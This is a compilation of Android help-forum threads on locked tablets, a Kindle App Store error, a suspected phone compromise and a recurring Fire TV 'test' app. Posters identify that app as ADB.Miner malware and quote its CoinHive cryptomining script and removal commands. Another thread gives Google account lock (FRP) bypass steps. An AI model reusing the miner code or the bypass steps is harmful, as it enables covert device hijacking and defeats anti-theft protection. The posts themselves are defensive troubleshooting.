Database Users

(Help) Accessing locked tab

Hi everyone, my problem is our demo model at my work had a lock pattern put on it. Its been messed up to the point where you have to entee your gmail info. But no one remembers it. Is there anyway to do a factory reset without having to go into settings or anything i can do? Thanks in advance.
Sent from my SCH-I510

According to Acer's support site, you'll have to send it back to them for a full reset.
However, if you search the forums there should be a way to push a 'clean' ROM image through a connected PC.
In either case any user info will be gone.

Maybe this little trick might help: http://forum.xda-developers.com/showthread.php?t=1132760

Have you tried using the Android Market to unlock it "from the inside"?.
Have a look at installing this app via the Market, it will unlock your device;
https://market.android.com/details?id=se.curity.android.screenlockbypass
Of course, you tablet will need to be linked to the market, and connected to the internet to receive the "Install" intent from the Android Market.

We had a customer thought it would be funny to put a pattern lock on our demo unit. I had one of my people call and they were able to help us unlock over the phone. I dont remember what they had us do though.

[Q] Does anyone know how to Fix App Store Authentication Error

I just got a Kindle Fire for my wife and it is linked to an already existing Amazon account, with a valid Credit Card linked and working fine with books.
When I try to go into the App Store it lets me in but I can't download anything. I can't even get into the "MyApps" section. A box pops up saying "Authenticating" but then goes away, and it goes back to the screen I was just on.
I noticed this issue out of the box and did some research where people made some recommendations such as "Clear Data" from the App. That didn't help, neither did a factory reset. I was hoping that rooting it and uninstalling the App Store app would help, but it didn't.
I figured I would try to turn off the in-App purchasing to see that might help but it would not accept my password. Hmmm Odd, I wonder if somehow this is holding onto an old account, since this was a refurbished Fire.
Personally I could live without the Amazon App Store and the Stock Rom, but my wife really wants it setup and wants to preserve the look and feel.
Any recommendations would be greatly appreciated.
Thanks,

I had that same thing. For me the problem was that I had too many devices registered with the Amazon App store, since I frequently reinstall ROM on my tablet.
There are two places the Kindle gets registered. One is under Mange My Kindle and the other is somewhere within you app store settings. I removed all my devices from the Manage My Kindle area but that didn't fix it. I actually had to call Amazon and they removed all my device registrations from the App Store portion for me, but they said I would have been able to do it myself if I had gone in there.
Sorry I don't have the specific directions to the link. But you should be able to find all your associated devices in you App Store settings online and delete them. After doing this I just restarted my Kindle and the app store worked like a charm.

Thanks that was exactly it. I have a Gtablet and 4 Android phones that get flashed all the time. I went in and deleted them and it fixed the problem.
The path to get to this section is:
Amazon Account settings -> Android Apps & Devices -> Your Devices
And start de-registering devices no longer needed.

System dump?

Hi so been on 7.0 for at least a month and just last two days phone was being really buggy so I turned the phone off and back on phone didn't prompt for password to boot.
Is there a way I can save the whole phone on to drive to send to someone to take a closer look to see what virus is on here Im guessing it's a rootkit some how also what way would you run packet capture to see things that way?
Sent from my Nexus 6P using Tapatalk

gjkrisa said:
Hi so been on 7.0 for at least a month and just last two days phone was being really buggy so I turned the phone off and back on phone didn't prompt for password to boot.
Is there a way I can save the whole phone on to drive to send to someone to take a closer look to see what virus is on here Im guessing it's a rootkit some how also what way would you run packet capture to see things that way?
Click to expand...
Click to collapse
I would just grab the latest software image from google and start all over....by the way this doesn't belong here...it belongs in Q&A

Well I think I have a virus I figure people here are going to would want to take a look at that
Sent from my Nexus 6P using Tapatalk

Hii, i would love to take closer look into your phone ? contact me

Viper-GT said:
Hii, i would love to take closer look into your phone contact me
Click to expand...
Click to collapse
let me know what i need to do i did adb backup-full but i doubt it has everything you need.
also couldnt wait so i manually flashed full image downloading the newest beta again.

kornklown69 said:
I would just grab the latest software image from google and start all over....by the way this doesn't belong here...it belongs in Q&A
Click to expand...
Click to collapse
doing this still didnt work even tried another rom manually flashed everything on week 3 my phone started acting buggy restarted phone everything is fine next week i get message that someone has saved new device from my bank bank account if my bank didnt have this feature i would probably not know this happend along with seeing the txt messages showing the second factor authentication.
please tell me how i can get this phone fully backed up with the virus in it to have it sent to someone to review what virus it has?
im going to try emailing other security firms, and google and also look at probably using an iphone for awial.

gjkrisa said:
doing this still didnt work even tried another rom manually flashed everything on week 3 my phone started acting buggy restarted phone everything is fine next week i get message that someone has saved new device from my bank bank account if my bank didnt have this feature i would probably not know this happend along with seeing the txt messages showing the second factor authentication.
please tell me how i can get this phone fully backed up with the virus in it to have it sent to someone to review what virus it has?
im going to try emailing other security firms, and google and also look at probably using an iphone for awial.
Click to expand...
Click to collapse
a virus would be software related...if you did a full wipe and installed fresh software and it continues it might be an app you keep installing...do you get your apps from the playstore or side load as well

kornklown69 said:
a virus would be software related...if you did a full wipe and installed fresh software and it continues it might be an app you keep installing...do you get your apps from the playstore or side load as well
Click to expand...
Click to collapse
playstore only before my phone was locked boot loader and encrypted to have to use pin to boot device.
AS SOON as i get the buggy phone and reboot when it boots up it no longer request pin to boot. on stock rom i was rebooting phone every week to see how long it would take and usually nothing odd until phone got buggy for reason of the reboot.
the buggy issue is shortly opening an app the app will freeze so i hit home nothing happends try to turn the screen off nothing happends until a minute later sometimes phone will reboot its self or i hold power to make it reboot but both take about same amount of time when phone goes into full freeze.
so it being a playstore app and the virus not getting detected google needs to look into how they can patch this...
so im putting this out there so this person or group doesnt forever have a backdoor into peoples phones.
this issue i have had since november last year but havent been so aware about the issue till august. since august ive been dealing with know some how they are getting in and must be an app but i got rid of all games and weird apps that are not nessisary
abs workout, esfile explorer, google+,mint personal finance,tapatalk,accuweather,alaskausafcu,amazon kindle, android auto, android device manager, android pay, calculator, chrome browser, chrome remote desktop, clock, cloud print, contacts, es task manager, facebook, family locator, favorite frequencies, fing, garmin connect, gci my usage, gmail, google, google calendar, google camera, google docs, google drive, google goggles, google keep, google keyboard, google news, google now launcher, google opinion, google photos, google play games, google play music, google txt to speech, hulu, keeper, look out, malwarebytes, maps, messenger, eset mobile security, pandora, playstation phone, phone, shazam, sixaxis controller, skype, speed test, usaa mobile, vlc for android, wifi analyzer, xbox, youtube, zombies run
these are all the apps ive had since ive had this issue.
i was hopping that esfiles exploreres new feature of being notified of new files would help solve this but some folders it doesnt detect like youtube or google music even though in es files explorer i unlocked ability to view the .nomedia

Drop ES File Explorer, to start. Read this article, or do some googling about it on your own;
https://www.androidpit.com/this-is-why-you-should-not-use-es-file-explorer
I have to agree with the article when it says Solid Explorer is a great replacement. I've used it for years now and it's never let me down.
The fact of the matter is, if you manually wiped all of your phone and formatted your internal storage, nothing remains from pre-wipe. If your issue is coming back it can only be a hardware issue (if applicable) or some app you are using, as previously mentioned.
Furthermore, after googling your exact issue I came to find that certain apps that require 'Accessibility Services' can and will disable your pin/password/pattern on boot. Check if any of your apps fit the bill in 'Settings > Accessibility > Services'
Disable any apps which are enabled and reboot. You may have to set up pin, etc., again, but leave the services disabled and see if the issue returns. Let us know!
Edit: Upon more googling, I've found reports of people who had the issue return after disabling & uninstalling the apps in question as well. You may need to flash stock images again and do not install any apps that require accessibility services, or don't grant any of them permission even once.
Edit2: Just another link to check out;
https://blog.g3rt.nl/android-lollipop-encryption-user-interface-flaw.html
Edit3: Issue tracker link; https://code.google.com/p/android/issues/detail?id=219498
Edit4: If you logged into your bank app and factory reset or flashed factory images, logging in again after the wipe/flash will show as a new device. Same goes for having login alerts set for Google / Facebook, etc. Your same phone shows as a new device after the flash or wipe. Guaranteed not a virus.

Double post

RoyJ said:
Drop ES File Explorer, to start. Read this article, or do some googling about it on your own;
https://www.androidpit.com/this-is-why-you-should-not-use-es-file-explorer
I have to agree with the article when it says Solid Explorer is a great replacement. I've used it for years now and it's never let me down.
The fact of the matter is, if you manually wiped all of your phone and formatted your internal storage, nothing remains from pre-wipe. If your issue is coming back it can only be a hardware issue (if applicable) or some app you are using, as previously mentioned.
Furthermore, after googling your exact issue I came to find that certain apps that require 'Accessibility Services' can and will disable your pin/password/pattern on boot. Check if any of your apps fit the bill in 'Settings > Accessibility > Services'
Disable any apps which are enabled and reboot. You may have to set up pin, etc., again, but leave the services disabled and see if the issue returns. Let us know!
Edit: Upon more googling, I've found reports of people who had the issue return after disabling & uninstalling the apps in question as well. You may need to flash stock images again and do not install any apps that require accessibility services, or don't grant any of them permission even once.
Edit2: Just another link to check out;
https://blog.g3rt.nl/android-lollipop-encryption-user-interface-flaw.html
Edit3: Issue tracker link; https://code.google.com/p/android/issues/detail?id=219498
Edit4: If you logged into your bank app and factory reset or flashed factory images, logging in again after the wipe/flash will show as a new device. Same goes for having login alerts set for Google / Facebook, etc. Your same phone shows as a new device after the flash or wipe. Guaranteed not a virus.
Click to expand...
Click to collapse
Thank you! I tried googling but guess I wasn't doing it properly.
I turned off keeper nothing.
I un installed it nothing.
I dont know how to re enable boot encryption pin.
the phone says it is so I'll try clean install again and just not allow keeper anymore I think the issue has come up just after turning keeper on to allow the accessibility features.
Thank you I will keep you informed give it till February if nothing odd happened.
Sent from my Nexus 6P using Tapatalk

gjkrisa said:
Thank you! I tried googling but guess I wasn't doing it properly.
I turned off keeper nothing.
I un installed it nothing.
I dont know how to re enable boot encryption pin.
the phone says it is so I'll try clean install again and just not allow keeper anymore I think the issue has come up just after turning keeper on to allow the accessibility features.
Thank you I will keep you informed give it till February if nothing odd happened.
Sent from my Nexus 6P using Tapatalk
Click to expand...
Click to collapse
Also thanks I know about the added devices I cleaned the one to my bank account and I look at my other accounts every once in awial and make sure nothing odd wish my bank account showed what devices instead of only having clean on Facebook I've had things look suspicious ips from another states but the device listed was same as mine so don't know if they are able to spoof that.
I always assumed that some how the cell tower was saying it is relayd to Cali or something.
I live in Fairbanks Alaska.
Sent from my Nexus 6P using Tapatalk

Well turns out it was keeper I switched to last pass uninstalled keeper before uninstall It was telling me 8 hrs of battery life. Now 21 more hrs with already being on for 5 hrs at 78%.
Phone hasn't had any weird issues. Except I had lost the encryption anyways and only after having the new image for one week now been going for three weeks.
Sent from my Nexus 6P using Tapatalk

https://technet.microsoft.com/en-us/library/jj200124(v=ws.11).aspx
Sent from my Nexus 6P using Tapatalk

Asus ZenPad S 8 (P01M or Z580C) Google lock

Does anyone know how to bypass Google lock on this tablet? My kids created an account and then factory restored it, but have no idea what credentials they used. I am able to run chrome, then install Nova launcher apk and eventually get into settings, however, when I reset the tablet, it still restores with Google lock. This is legit tablet, I have the box and everything.

xxhaimbondxx said:
Does anyone know how to bypass Google lock on this tablet? My kids created an account and then factory restored it, but have no idea what credentials they used. I am able to run chrome, then install Nova launcher apk and eventually get into settings, however, when I reset the tablet, it still restores with Google lock. This is legit tablet, I have the box and everything.
Click to expand...
Click to collapse
figured it out. let me know if you need help.

I could you this! Do you remember what you did to unlock it?

Okay, I feel like this should have been clearer and out there somewhere, but here is how I got passed it.
There are a couple ways to get to the Chrome browser, and that's what you want to do. What I did was type in the login field, select the text, and then select "ASSIST" in the pop-up window.
When the Google App appears, start typing "Chrome." Select the Chrome app when it appears.
In Chrome, search for "Test DPC Apk." Dowload. Open and install. You'll have to give permission to use unkown third-party apps in settings. Once installed, run. Select "Set up device owner." Keep going through all the options. Expect the tablet to restart a couple times. Then go to settings and do a factory reset.
This website helped a bit, but they get some key stuff wrong: https://techwelkin.com/device-reset-...viously-synced
This video helped: https://www.youtube.com/watch?v=i5HCqE1IRGI

[Malware/Virus] Solution Inside - Firestick Gen 2 - "test" app keeps popping up

[Malware/Virus] Solution Inside - Firestick Gen 2 - "test" app keeps popping up
hi guys ! i have a question i hope someone can help me with. I have a Gen 2 Firestick and for 2 days now this app called "test" keeps popping up at all times, i have no clue why its doing this. I have uninstalled the app and it comes back and ive even tryed to run the app and its tells me the App needs updated to run on my device, look for an updated version on my store.. and yeah the app dont exist on the store.. What is up with this thing? I even reformated the firestick and within a few hours it was back and doing it again !!!! this thing is driving me nuts !!! youll be watching a video or movie and this thing pops up and forces your video to pause and even crash. Can anyone help me?? i only have Terrarium,Turbo vpn,es file explorer, mouse toggle, and SPMC installed. the rest is all from Amazons factory reset. I just want to block it from running or destroy it completely. you dont even have to be doing anything and it pops up even on the Homescreen. ANyhelp would be great thank you all !! btw.. ran a virus scan it said it deleted it and it came back, tryed a firewall blocked it ,,still keeps popping up !! AURG!! help !!
------------------------------------------------------------------Moderator Edit-------------------------------------------------------------------
Verified Solution​
First reported by @azureru as malware in this post.
azureru said:
I have the same app on my Android Stick and it kept coming back.
Reverse engineering it - that Test app is a variation of ADB.Miner worm that will use your device to open webview. It open single html that will mine monero using CoinHive
Code:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('eXnvyAQwXxGV80C4fGuiRiDZiDpDaSrf',{
threads:3,
throttle: 0.6
});
miner.start();
</script>
If you have uninstall the app on your Android and it kept coming back - make sure to disable adb on your Android and check for other Android devices on your network for this worm.
Click to expand...
Click to collapse
------------------------------------------------------------------------------------------
@innovaciones provides a number of solutions - including a verified working modded .apk of the malware which renders it harmless.
innovaciones said:
I can confirm that this "Test" app is actually a virus, I reverse engineering it too and when the Test apk auto starts it opens an script from a "run.html" file that have the same code that azureru posted, so this is definitely an ADB.Miner, how we got the virus? well I guess from sideloading sketchy apps, the main problem with this virus is that the Fire TV gets very slow because most of the performance is used for mining.
How we can get rid of this virus?
Well first, is there other Fire TVs or Android devices in your place? if the answer is yes then these devices could be infected too, this virus spreads using the ADB protocol so all the devices that have "ADB debugging" option enabled that are connected in your wifi network will get the virus, so is very important that you turn off "ADB debugging" in all your Android devices.
RESET TO FACTORY SETTINGS
There a several ways to get rid of this virus, the most effective way will be reseting to factory settings all your devices, and be careful next time what apk you install, and don't forget to turn off ADB debugging when not in use.
DELETE VIRUS FILES
Using ADB input these commands:
shell rm data/local/tmp/ufo.apk
shell rm data/local/tmp/lock.txt
shell rm data/local/tmp/smi
shell rm data/local/tmp/endat
shell rm data/local/tmp/nohup
uninstall com.google.time.timer
reboot
This are some of the virus files I found but I really don't know if deleting these files will be enough to disable the virus.
INSTALL MODDED VIRUS
If you don't want to reset to factory settings and all you want is to "turn off" the miner then you can install the attached APK that is a modded version from the original virus except the run.html is a blank page (without the minning script) and the Activities name from the AndroidManifest.xml were changed so it can't start now, so pretty much the virus will think it's working but it's not.
HIDE THE VIRUS
As recommended here you could try the hide command:
pm hide com.google.time.timer
Here is more information about these kind of virus, the test virus a variation from this:
http://blog.netlab.360.com/adb-miner-more-information-en/
I hope this information could help someone.
Click to expand...
Click to collapse

the test app just has a White screen, and in the top left corner has a Green Android bot and the word test.. can get a pic if needed.

o i should say, ive googled and searched and searched for info on this and apparently im the only person in the world this is happening to

ok i looked at the test app in the firewall and it has more info, it says its from, com.google.time.timer , so what does that mean? is it a file from google that messed up ??

hmmm. Ok i installed nox 6 emulater and installed all the same apps and so far this com.google.time.timer does not exist ! thought maybe i could track down some info on this if i installed it on my pc, someone got any ideas here???

ok someone has to know something here, just got off the phone with amazon tech, they told me "test" keeps popping up because i have a trial amazon account and i have to pay for amazon service !! say what?? I dont even use the firestick for amazon service !! guess its time to root and take out the amazon services then?

well so far i made a new account with my other email and deregistered my firestick off my account and put it on the new account. Let yall know what happens.

so far the test app hasent popped up at all. So according to amazon, you have to pay to just use this firestick.. i guess running there adds on the homepage to make them money isnt enough, you have to pay to keep using it. but ok, just keep making new accounts and linking the firestick to the new accounts will solve this problem i guess. So if anyone ever has this problem besides me, thats the answer ! thanks everyone.

the great potato said:
so far the test app hasent popped up at all. So according to amazon, you have to pay to just use this firestick.. i guess running there adds on the homepage to make them money isnt enough, you have to pay to keep using it. but ok, just keep making new accounts and linking the firestick to the new accounts will solve this problem i guess. So if anyone ever has this problem besides me, thats the answer ! thanks everyone.
Click to expand...
Click to collapse
No you don't have to pay to use the firestick - you probably signed up for free 30 day prime subscription - once that runs out it will automatically charge you for the subscription unless you cancel (if there is an available payment option on your account)
I assume all you had to do if it was prime membership was to cancel your subscription
Of course you don't have to opt in for this at all during registration
You can simply remove apps via adb
The firestick doesn't come with any Google apps (for obvious reasons) so anything else that is popping up is from something you have installed

well, after 2 days the test is popping up again ! =*( but anyway, I know i dont have any trials of anything especially prime, i had problems with Prime before and i make sure and double check i have nothing to do with prime. Amazon tech are the ones that told me if i pay 19.99 a month or 60 for 5 months it will stop ! So i have no idea what there talking about. I can only think to uninstall apps 1 by 1 and see if it stops or not. Im really getting to a loss on this and considering selling my set up on ebay and just buying one of the 100 dollar android boxes. =( thank you much for your reply !! All i can guess it is something installed, but wth is amazon talking about ? lol

talked to amazon, though my account said , you have no prime sub, sign up now! they said i had a prime sub trial ... canceled it and still get the pop up !

the great potato said:
talked to amazon, though my account said , you have no prime sub, sign up now! they said i had a prime sub trial ... canceled it and still get the pop up !
Click to expand...
Click to collapse
i signed up for an account on this message board just for this thread.
Same thing is happening to me!!
Its driving me bonkers. I did a factory reset and everything. Its an app called "test" that will re-install itself even after deletion. I've tried installing an antivirus/malware app on the firestick, but none of the apps work properly on it. How is there not a proper antivirus app for firestick yet? Seems odd.
Let's see if we can crack this thing together. I'll send you a PM as well.

Omg in not alone in the world !!!! Thank you!!!!!!!!!!

indeed ive tied many antivirus apps and one picked it up and said its a MED virus , deleted it and it reinstalled

I am also having this problem. Please let me know how you fix t. I have a prime account and Amazon is no help

I'm having the same issue. Asked on reddit and waiting on some answers.

Same here
Just started a few weeks ago. When did it start for you guys?

Same problem here, started few weeks ago, factory reset won't work, disabling ADB and untrusted sources neither, it keeps reinstalling. Maybe if it is a virus it can be hidden in the sd card?

Me too....
Both of my firesticks began having this issue recently. I also found the app called "test" that will not uninstall. It's driving me insane. It pauses video on Amazon prime every 10 minutes or so and completely exits streams if I'm using kodi. Has anyone found a solution yet?
I found a thread an Reddit but all the posts and responses had been deleted. :/

Same problem with my Firestick
I'm experiencing the exact same issue! Constant interruptions whatever I'm watching every 10 -20 mins. Blank white screen with little green android robot in upper left corner says "Test". This just recently (2-3 wks) started happening! I've been using firesticks since Nov/17. One of my firesticks recently crashed and Amazon is sending me a new one; can't wait to see if the new firestick has this "Test" crap on it too!? I'm not a Prime member, and have never accepted a trial membership either. I only use firestick for Kodi, Netflix, and Youtube videos. I don't use any of the Amazon $ services.
I'm so happy to find your post, thought I was the only one! Hopefully we can figure this out and get back to watching without interruptions! :fingers-crossed: